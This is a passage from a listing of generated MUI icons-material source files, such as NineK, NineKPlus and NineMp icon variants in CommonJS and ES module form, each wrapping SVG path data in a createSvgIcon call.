    "path": "packages/mui-icons-material/lib/NightsStayTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.1 14.15c1.67.48 2.9 2.02 2.9 3.85 0 .68-.19 1.31-.48 1.87.48.09.97.14 1.48.14 1.48 0 2.9-.41 4.13-1.15-2.62-.92-5.23-2.82-6.8-5.86-1.59-3.06-1.55-5.91-1.04-8.1-2.57 1.33-4.3 4.01-4.3 7.1h.02c1.65 0 3.17.83 4.09 2.15\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.78 17.51c-2.47 0-6.57-1.33-8.68-5.43-2.33-4.51-.5-8.48.53-10.07C6.27 2.2 1.98 6.59 1.98 12c0 .14.02.28.02.42.61-.26 1.28-.42 1.98-.42 0-3.09 1.73-5.77 4.3-7.1-.5 2.19-.54 5.04 1.04 8.1 1.57 3.04 4.18 4.95 6.8 5.86-1.23.74-2.65 1.15-4.13 1.15-.5 0-1-.05-1.48-.14-.37.7-.94 1.27-1.64 1.64.98.32 2.03.5 3.11.5 3.5 0 6.58-1.8 8.37-4.52-.17.01-.37.02-.57.02\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 16h-.18C6.4 14.84 5.3 14 4 14c-1.66 0-3 1.34-3 3s1.34 3 3 3h3c1.1 0 2-.9 2-2s-.9-2-2-2\"\n}, \"2\")], 'NightsStayTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NineK.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 10h1.5v1.5H8zm11-7H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-8 11c0 .55-.45 1-1 1H6.5v-1.5h3v-1h-2c-.55 0-1-.45-1-1V10c0-.55.45-1 1-1H10c.55 0 1 .45 1 1zm7 1h-1.75l-1.75-2.25V15H13V9h1.5v2.25L16.25 9H18l-2.25 3z\"\n}), 'NineK');"
  },
  {
    "path": "packages/mui-icons-material/lib/NineK.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 10h1.5v1.5H8zm11-7H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-8 11c0 .55-.45 1-1 1H6.5v-1.5h3v-1h-2c-.55 0-1-.45-1-1V10c0-.55.45-1 1-1H10c.55 0 1 .45 1 1zm7 1h-1.75l-1.75-2.25V15H13V9h1.5v2.25L16.25 9H18l-2.25 3z\"\n}), 'NineK');"
  },
  {
    "path": "packages/mui-icons-material/lib/NineKOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 14v-4c0-.55-.45-1-1-1H7.5c-.55 0-1 .45-1 1v1.5c0 .55.45 1 1 1h2v1h-3V15H10c.55 0 1-.45 1-1m-1.5-2.5H8V10h1.5z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.5 12.75 16.25 15H18l-2.25-3L18 9h-1.75l-1.75 2.25V9H13v6h1.5z\"\n}, \"2\")], 'NineKOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NineKOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 14v-4c0-.55-.45-1-1-1H7.5c-.55 0-1 .45-1 1v1.5c0 .55.45 1 1 1h2v1h-3V15H10c.55 0 1-.45 1-1m-1.5-2.5H8V10h1.5z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.5 12.75 16.25 15H18l-2.25-3L18 9h-1.75l-1.75 2.25V9H13v6h1.5z\"\n}, \"2\")], 'NineKOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NineKPlus.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.5 10H8v1.5H6.5zM19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M9.5 14c0 .55-.45 1-1 1H5v-1.5h3v-1H6c-.55 0-1-.45-1-1V10c0-.55.45-1 1-1h2.5c.55 0 1 .45 1 1zm6.5 1h-1.75l-1.75-2.25V15H11V9h1.5v2.25L14.25 9H16l-2.25 3zm4-2.5h-1.5V14h-1v-1.5H16v-1h1.5V10h1v1.5H20z\"\n}), 'NineKPlus');"
  },
  {
    "path": "packages/mui-icons-material/lib/NineKPlus.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.5 10H8v1.5H6.5zM19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M9.5 14c0 .55-.45 1-1 1H5v-1.5h3v-1H6c-.55 0-1-.45-1-1V10c0-.55.45-1 1-1h2.5c.55 0 1 .45 1 1zm6.5 1h-1.75l-1.75-2.25V15H11V9h1.5v2.25L14.25 9H16l-2.25 3zm4-2.5h-1.5V14h-1v-1.5H16v-1h1.5V10h1v1.5H20z\"\n}), 'NineKPlus');"
  },
  {
    "path": "packages/mui-icons-material/lib/NineKPlusOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 14v-4c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v1.5c0 .55.45 1 1 1h1.5v1H6V15h3c.55 0 1-.45 1-1m-1.5-2.5h-1V10h1z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 8.5h-1.5V10h-1v1.5H15v1h1.5V14h1v-1.5H19V19H5V5h14z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.5 12.75 14.25 15H16l-2.25-3L16 9h-1.75l-1.75 2.25V9H11v6h1.5z\"\n}, \"2\")], 'NineKPlusOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NineKPlusOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 14v-4c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v1.5c0 .55.45 1 1 1h1.5v1H6V15h3c.55 0 1-.45 1-1m-1.5-2.5h-1V10h1z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 8.5h-1.5V10h-1v1.5H15v1h1.5V14h1v-1.5H19V19H5V5h14z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.5 12.75 14.25 15H16l-2.25-3L16 9h-1.75l-1.75 2.25V9H11v6h1.5z\"\n}, \"2\")], 'NineKPlusOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NineKPlusRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.5 10h1v1.5h-1zM19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-9 11c0 .55-.45 1-1 1H6.75c-.41 0-.75-.34-.75-.75s.34-.75.75-.75H8.5v-1H7c-.55 0-1-.45-1-1V10c0-.55.45-1 1-1h2c.55 0 1 .45 1 1zm4.59 1c-.22 0-.42-.1-.55-.27l-1.54-1.98v1.55c0 .39-.31.7-.7.7h-.1c-.39 0-.7-.31-.7-.7V9.7c0-.39.31-.7.7-.7h.09c.39 0 .7.31.7.7v1.55l1.54-1.98c.14-.17.35-.27.56-.27.58 0 .91.66.56 1.12L13.75 12l1.41 1.88c.34.46.01 1.12-.57 1.12m3.91-2.5h-1v1c0 .28-.22.5-.5.5s-.5-.22-.5-.5v-1h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1v-1c0-.28.22-.5.5-.5s.5.22.5.5v1h1c.28 0 .5.22.5.5s-.22.5-.5.5\"\n}), 'NineKPlusRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NineKPlusRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.5 10h1v1.5h-1zM19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-9 11c0 .55-.45 1-1 1H6.75c-.41 0-.75-.34-.75-.75s.34-.75.75-.75H8.5v-1H7c-.55 0-1-.45-1-1V10c0-.55.45-1 1-1h2c.55 0 1 .45 1 1zm4.59 1c-.22 0-.42-.1-.55-.27l-1.54-1.98v1.55c0 .39-.31.7-.7.7h-.1c-.39 0-.7-.31-.7-.7V9.7c0-.39.31-.7.7-.7h.09c.39 0 .7.31.7.7v1.55l1.54-1.98c.14-.17.35-.27.56-.27.58 0 .91.66.56 1.12L13.75 12l1.41 1.88c.34.46.01 1.12-.57 1.12m3.91-2.5h-1v1c0 .28-.22.5-.5.5s-.5-.22-.5-.5v-1h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1v-1c0-.28.22-.5.5-.5s.5.22.5.5v1h1c.28 0 .5.22.5.5s-.22.5-.5.5\"\n}), 'NineKPlusRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NineKPlusSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.5 10h1v1.5h-1zM21 3H3v18h18zM10 9v6H6v-1.5h2.5v-1H6V9zm6 6h-1.75l-1.75-2.25V15H11V9h1.5v2.25L14.25 9H16l-2.25 3zm3-2.5h-1.5V14h-1v-1.5H15v-1h1.5V10h1v1.5H19z\"\n}), 'NineKPlusSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NineKPlusSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.5 10h1v1.5h-1zM21 3H3v18h18zM10 9v6H6v-1.5h2.5v-1H6V9zm6 6h-1.75l-1.75-2.25V15H11V9h1.5v2.25L14.25 9H16l-2.25 3zm3-2.5h-1.5V14h-1v-1.5H15v-1h1.5V10h1v1.5H19z\"\n}), 'NineKPlusSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NineKPlusTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.5 10h1v1.5h-1z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 19h14v-6.5h-1.5V14h-1v-1.5H15v-1h1.5V10h1v1.5H19V5H5zm6-10h1.5v2.25L14.25 9H16l-2.25 3L16 15h-1.75l-1.75-2.25V15H11zm-5 4.5h2.5v-1H7c-.55 0-1-.45-1-1V10c0-.55.45-1 1-1h2c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1H6z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 14v-4c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v1.5c0 .55.45 1 1 1h1.5v1H6V15h3c.55 0 1-.45 1-1m-1.5-2.5h-1V10h1z\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 8.5h-1.5V10h-1v1.5H15v1h1.5V14h1v-1.5H19V19H5V5h14z\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.5 12.75 14.25 15H16l-2.25-3L16 9h-1.75l-1.75 2.25V9H11v6h1.5z\"\n}, \"4\")], 'NineKPlusTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NineKPlusTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.5 10h1v1.5h-1z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 19h14v-6.5h-1.5V14h-1v-1.5H15v-1h1.5V10h1v1.5H19V5H5zm6-10h1.5v2.25L14.25 9H16l-2.25 3L16 15h-1.75l-1.75-2.25V15H11zm-5 4.5h2.5v-1H7c-.55 0-1-.45-1-1V10c0-.55.45-1 1-1h2c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1H6z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 14v-4c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v1.5c0 .55.45 1 1 1h1.5v1H6V15h3c.55 0 1-.45 1-1m-1.5-2.5h-1V10h1z\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 8.5h-1.5V10h-1v1.5H15v1h1.5V14h1v-1.5H19V19H5V5h14z\"\n}, \"3\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.5 12.75 14.25 15H16l-2.25-3L16 9h-1.75l-1.75 2.25V9H11v6h1.5z\"\n}, \"4\")], 'NineKPlusTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NineKRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 10h1.5v1.5H8zm11-7H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-8 11c0 .55-.45 1-1 1H7.25c-.41 0-.75-.34-.75-.75s.34-.75.75-.75H9.5v-1h-2c-.55 0-1-.45-1-1V10c0-.55.45-1 1-1H10c.55 0 1 .45 1 1zm5.59 1c-.22 0-.42-.1-.55-.27l-1.54-1.98v1.55c0 .39-.31.7-.7.7h-.1c-.39 0-.7-.31-.7-.7V9.7c0-.39.31-.7.7-.7h.09c.39 0 .7.31.7.7v1.55l1.54-1.98c.14-.17.35-.27.56-.27.58 0 .91.66.56 1.12L15.75 12l1.41 1.88c.34.46.01 1.12-.57 1.12\"\n}), 'NineKRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NineKRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 10h1.5v1.5H8zm11-7H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-8 11c0 .55-.45 1-1 1H7.25c-.41 0-.75-.34-.75-.75s.34-.75.75-.75H9.5v-1h-2c-.55 0-1-.45-1-1V10c0-.55.45-1 1-1H10c.55 0 1 .45 1 1zm5.59 1c-.22 0-.42-.1-.55-.27l-1.54-1.98v1.55c0 .39-.31.7-.7.7h-.1c-.39 0-.7-.31-.7-.7V9.7c0-.39.31-.7.7-.7h.09c.39 0 .7.31.7.7v1.55l1.54-1.98c.14-.17.35-.27.56-.27.58 0 .91.66.56 1.12L15.75 12l1.41 1.88c.34.46.01 1.12-.57 1.12\"\n}), 'NineKRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NineKSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 10h1.5v1.5H8zm13-7H3v18h18zM11 9v6H6.5v-1.5h3v-1h-3V9zm7 6h-1.75l-1.75-2.25V15H13V9h1.5v2.25L16.25 9H18l-2.25 3z\"\n}), 'NineKSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NineKSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 10h1.5v1.5H8zm13-7H3v18h18zM11 9v6H6.5v-1.5h3v-1h-3V9zm7 6h-1.75l-1.75-2.25V15H13V9h1.5v2.25L16.25 9H18l-2.25 3z\"\n}), 'NineKSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NineKTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 19h14V5H5zm8-10h1.5v2.25L16.25 9H18l-2.25 3L18 15h-1.75l-1.75-2.25V15H13zm-6.5 4.5h3v-1h-2c-.55 0-1-.45-1-1V10c0-.55.45-1 1-1H10c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1H6.5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 10h1.5v1.5H8z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 14v-4c0-.55-.45-1-1-1H7.5c-.55 0-1 .45-1 1v1.5c0 .55.45 1 1 1h2v1h-3V15H10c.55 0 1-.45 1-1m-1.5-2.5H8V10h1.5z\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.5 12.75 16.25 15H18l-2.25-3L18 9h-1.75l-1.75 2.25V9H13v6h1.5z\"\n}, \"4\")], 'NineKTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NineKTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 19h14V5H5zm8-10h1.5v2.25L16.25 9H18l-2.25 3L18 15h-1.75l-1.75-2.25V15H13zm-6.5 4.5h3v-1h-2c-.55 0-1-.45-1-1V10c0-.55.45-1 1-1H10c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1H6.5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 10h1.5v1.5H8z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 14v-4c0-.55-.45-1-1-1H7.5c-.55 0-1 .45-1 1v1.5c0 .55.45 1 1 1h2v1h-3V15H10c.55 0 1-.45 1-1m-1.5-2.5H8V10h1.5z\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"3\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.5 12.75 16.25 15H18l-2.25-3L18 9h-1.75l-1.75 2.25V9H13v6h1.5z\"\n}, \"4\")], 'NineKTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NineMp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.5 6.5H13V8h-1.5zM19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 15.5h-1.5V14h-1v3H8v-3H7v4.5H5.5v-5c0-.55.45-1 1-1H11c.55 0 1 .45 1 1zm3.5 0H14v-6h3.5c.55 0 1 .45 1 1V16c0 .55-.45 1-1 1h-2zm-1-8c0 .55-.45 1-1 1H10V10h3V9h-2c-.55 0-1-.45-1-1V6.5c0-.55.45-1 1-1h2.5c.55 0 1 .45 1 1zm1 3.5H17v1.5h-1.5z\"\n}), 'NineMp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NineMp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.5 6.5H13V8h-1.5zM19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 15.5h-1.5V14h-1v3H8v-3H7v4.5H5.5v-5c0-.55.45-1 1-1H11c.55 0 1 .45 1 1zm3.5 0H14v-6h3.5c.55 0 1 .45 1 1V16c0 .55-.45 1-1 1h-2zm-1-8c0 .55-.45 1-1 1H10V10h3V9h-2c-.55 0-1-.45-1-1V6.5c0-.55.45-1 1-1h2.5c.55 0 1 .45 1 1zm1 3.5H17v1.5h-1.5z\"\n}), 'NineMp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NineMpOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm6 4.5H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1h-3.5zM15 14h1.5v1.5H15z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.5 10.5v-4c0-.55-.45-1-1-1H11c-.55 0-1 .45-1 1V8c0 .55.45 1 1 1h2v1h-3v1.5h3.5c.55 0 1-.45 1-1M13 8h-1.5V6.5H13z\"\n}, \"2\")], 'NineMpOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NineMpOutlined.mjs",
